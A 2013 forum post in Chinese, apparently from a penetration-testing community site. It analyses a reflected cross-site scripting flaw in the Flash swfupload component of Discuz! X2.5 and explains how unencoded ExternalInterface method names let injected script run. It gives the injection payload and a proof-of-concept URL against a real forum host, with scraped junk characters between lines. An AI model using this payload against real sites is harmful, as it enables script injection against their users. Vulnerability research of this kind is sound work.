中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
" V9 |' W8 Z' G
: A4 O, }/ z. m
flash.external.ExternalInterface.call($methodName, $parameter)
. r* j7 @, f9 z7 k
在浏览器中执行的是
* j, A0 J! L# T5 z, |0 l8 ^4 r: S
% _! q3 R( m; j! ]* r" `2 Z
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
& \' l2 e ~2 Q* b4 a+ o
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
. ^8 a3 a4 D; p/ A/ A" _
1 `2 L9 ^7 v( R/ q
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
3 [) m% y# l1 c5 c4 p# X' p- u
$methodName = a())}catch(e){alert(/xss/)}//
# y9 i9 m1 O1 _0 Q) b0 R- @# v4 ?
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
4 o% h4 k3 ?2 I( G$ B
5 T! T% _/ k0 m5 T' ^
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
" W7 e2 @$ T( R$ x6 X# Z
6 G/ h; N8 }, V
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
& s' N) a$ `, j1 L( R7 M
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
5 H4 P) [7 P+ N- e) j. I& l
4 ]0 t; B' C/ H5 e
3 e4 y6 [' P8 d8 a# p
+ ?: Y3 G8 n' G% y$ k0 F9 F; M
漏洞文件:upload\static\image\common\swfupload.swf
, v: l7 l6 Q1 W1 M
7 E. F' B3 N" @, @" ?- V7 M
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
5 w; E# o9 X& d+ ~! f
; G; m$ Z$ z- a5 q7 h
& ]6 v: S+ d$ Y0 ~0 b
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
; s& v+ o+ K9 r/ {& Z) y1 i2 W
3 V7 i1 n( h$ r: b6 l& Y( p9 \
+ `# F' A$ `/ ]5 R
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2